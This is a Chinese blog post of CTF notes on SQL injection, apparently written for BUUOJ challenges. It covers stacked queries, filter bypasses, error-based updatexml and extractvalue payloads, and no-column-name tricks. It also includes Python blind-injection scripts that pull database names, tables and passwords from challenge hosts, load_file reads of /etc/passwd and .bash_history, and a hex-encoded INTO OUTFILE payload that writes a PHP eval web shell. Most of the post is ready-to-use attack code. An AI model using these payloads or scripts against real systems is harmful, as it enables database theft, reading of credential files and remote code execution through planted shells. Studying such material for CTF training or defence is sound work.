SQL注入

FUZZ字典

#思路
$sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
可以构造成
$sql = "insert into comment
            set category = 'a',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
这样再次查询到content时输出结果就是我们想要的信息,因为语句里面换行,#只能注释同行的语句,这里使用/**/可以注释多行语句
# \x00 %00 %23 其中用python脚本传入%00时会被解码为空,因此需要使用parse.unquote(’%00’)保证%00不被解码
空格 /**/

username and password

初步检验

?username=1' and 1=1 &password=1' and 1=1

报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' and password='1' and 1=1'' at line 1

得出注入点在password,因此闭合username,并且注释password后面的语句(%23为#)

?username=1 or 1=1&password=1' or 1=1%23


select|update|delete|drop|insert|where|\过滤处理办法

堆叠注入

查看数据库

1';show database;#

查看表

1';show tables;#

查看列

1';show columns from table;#

将敏感词select转16进制,select * from `1919810931114514`的十六进制为73656c656374202a2066726f6d20603139313938313039333131313435313460,这里的表如果是数字需要加``

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

除了十六进制绕过,还可以通过concat拼接select语句

1';Set @a=concat('s','elect * from `table`');prepare execsql from @a;execute execsql;--+

如果以上方法解决不了问题,试一下进阶版

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

1919810931114514仍然是表名

都不行,可能存在内置的sql语句为sql="select".sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

 

如果页面不能显示查询语句的结果,可以尝试使用select into outfile "/xxx/xxx"写入马,例如

;set @a;@a=0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare sql from @a;execute sql;

其中0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027==SELECT '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/favicon/shell.php'

关键字被检测到并删除

利用双写绕过,例如select可以写成seselectlect,目的是消去中间的select后前后拼接成新的select


报错注入

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#%09 %0a %0b %0c %0d /**/ /*!*/

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#只有一半flag

admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#另一半

二次注入:需要在注册的时候输入非法注入信息,在修改密码处再次输入该非法注入信息时才会报错

12"||(updatexml(1,concat('~',(select(database()))),1))#

12"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

12"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#

12"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

12"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#//这一句输出为{XXXXX},需要下面的正则表达式才能正常输出

12"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

12"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#//min、right被过滤掉,可以用逆序来输出

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#//特殊情况,flag在txt文件里,题目CyberPunk

extractvalue版

1"||extractvalue(1,concat(0x7e,(select(database()))))%23

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

布尔盲注


用不同的id测试返回结果,如果返回结果只有两种,则可初步判定为布尔盲注

或者输入?=if(length(database())>1,1,0),结果跟输入1一样的话也是布尔盲注

绕过空格过滤方式:%09    %0a    %0b    %0c     %0d      /**/      /*!*/       括号       TAB

使用括号绕过:if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)

使用脚本如下:

python3

import requests

target = "http://f0122071-136e-4da5-ad56-09f4d05fab6c.node4.buuoj.cn:81/search.php" 

def getDataBase():          #获取数据库名
    database_name = ""
    for i in range(1,1000):     #注意是从1开始,substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            params={
                "id":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
            }
            r = requests.get(url=target,params=params)
            if "Click" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:    #判断结束,退出循环
            break
        database_name += chr(mid)   #将ascii码转换为字符
    print("数据库名:" + database_name)


def getTable():     #获取表名
    column_name=""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low<high:
            params = {
                "id": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target,params=params)
            if "Click" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("表名为:"+column_name)


def getColumn():        #获取列名
    column_name = ""
    for i in range(1,250):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "id": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'Click' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("列名为:" + column_name)


def getFlag():
    flag = ""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "id" : "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'Click' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid)
    print("flag:" + flag)


#getDataBase()
#getTable()
#getColumn()
getFlag()

脚本2

import  requests
url = "http://13049d63-5e07-496c-9e22-07056b795dbd.node4.buuoj.cn:81/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
    high = 127
    low = 32
    mid = (low+high) // 2
    # print(mid)
    while(high>low):
        r = requests.get(url + payload.format(i,mid))
        print(url + payload.format(i,mid))
        if 'JFIF' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(mid)
    print(result)

脚本三:

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
    for i in range(32, 127):
        py = payload.format(j,i)
        post_data = {'id': py}
        re = requests.post(url, data=post_data)
        if 'Nu1L' in re.text:
            result += chr(i)
            print(result)
            break

脚本四:

\x00的作用是代替#符号,因为最后的双引号"被\x00注释掉,所以脚本中的SQL语句在PHP中被拼接成select * from table where username="\" and passwd="||passwd/**/regexp/**/"^{}";\x00"

#coding:utf-8
import requests
import time
import string
url = "http://a907bf31-7484-4e55-9b69-e47976305f51.node4.buuoj.cn:81/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits#密码的字典,包括下划线、小写字母、大写字母和数字

payload = ''
for n in range(100):#假设密码有100位
	print(n)
	for i in str_list:
		data = {
			'username':'\\',#这边两个\\是因为一个的话就把\后面的单引号给注释了,经过python这一层\\变成\
			'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)
		}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

无列名注入

详情

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,200):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

information_schema.tables被过滤

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema='xxxx'
select group_concat(table_name) from mysql.innodb_table_stats where database_name='xxxx'

查看具体列数,尽量往大的数查,再折半

1'/**/group/**/by/**/22,'

查数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
得到web1

查表,一定要用查出来的数据库名,用database()查不出来,因为用的是mysql.innodb_table_stats
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
得到ads,users

查列
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

原理是

普通的sq查询
select * from users

查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6union select * from users

单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
 select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

读取文件select load_file("绝对路径")

读取/etc/passwd,该文件存放系统用户与其他用户的信息存放路径
a',content=(select (load_file('/etc/passwd'))),/*
查看用户www的在系统上的操作记录
2',content=(select load_file('/home/www/.bash_history')),/*
文件太大,可通过转成十六进制查看文件
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

 

插入类注入

在注册时将注入文本注入到数据库中

场景:登录后会回显用户名,在注册时用户名设置为0'+1+'0,登录后显示用户名为1

原因:注册时数据库执行INSERT语句,将用户名设置为0'+1+'0,在数据库中执行的语句如下:

INSERT INTO test(a,b,c) VALUES(1,'0'+1+'0',1)

在数据库里面存入的值a=1,b=1,c=1(上述执行语句中,传参时从后端传入数据库中引号是必不可少的,因此需要用0关闭引号)

根据这点,我们可以使用下面的执行语句来查看数据库的flag表数据记录

INSERT INTO test(a,b,c) VALUES(1,'0'+ASCII(SUBSTR((SELECT * FROM flag) FROM 1 FOR 1))+'0',1)

值得注意的是,查询所有字段时,并非所有的数据库都能查询到(除非数据库里查询的表只有一个字段);

其次,from...for是作为代替逗号的存在,本测试中逗号被过滤,如逗号未被过滤,使用原始的substr(字符串,起始位置,长度);

最后,使用上述插入语句,无论substr截取的长度是多少,都会只截取一个,因此写脚本时,只需要改变其实位置即可

本次测试所用脚本
import re
from time import sleep
import requests

register_url="http://8def4a79-23da-46e7-bce5-83e5379c6f2c.node4.buuoj.cn:81/register.php";
login_url="http://8def4a79-23da-46e7-bce5-83e5379c6f2c.node4.buuoj.cn:81/login.php";
flag="";

for i in range(100):
    sleep(0.3);
    register_data={"email":"{}@bc.com".format(i),"username":"0'+ascii(substr((select * from flag) from {} for 1 ))+'0".format(i),"password":"1"};
    login_data={"email":"{}@bc.com".format(i),"password":"1"};
    register_res=requests.post(register_url,data=register_data);
    login_res=requests.post(login_url,data=login_data);
    re1=re.search(r'<span class="user-name">\s*(\d*)\s*</span>',login_res.text);
    print("re1:",re1);
    print("re1.group:",re1.group());
    re2=re.search(r'\d+',re1.group());
    flag+=chr(int(re2.group()));
    print("flag:",flag);

零零散散


select group_concat(database())不一定能返回全部数据库,可以利用

select group_concat(schema_name) from information_schema.schemata

 

正则注入

from urllib import parse
import requests
import time
import string

s=string.ascii_lowercase + string.digits + '_'
url="http://59626918-6a8f-4433-b194-af890a5b15be.node4.buuoj.cn:81/index.php"
flag="you_will_never_know77889"
for i in range(0,100):
    for j in s:
        data={"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format(flag+j,parse.unquote('%00'))}#%00直接传入会被解析为空,使用parse.unquote取消对%00的解析
        r=requests.post(url=url,data=data)
        print(flag+j)
        if "welcome.php" in r.text:
            print(flag)
            flag+=j
            break
        elif r.status_code == 429:
            time.sleep(1)

 

posted @ 2023-08-30 00:40  willingyut  阅读(109)  评论(0)    收藏  举报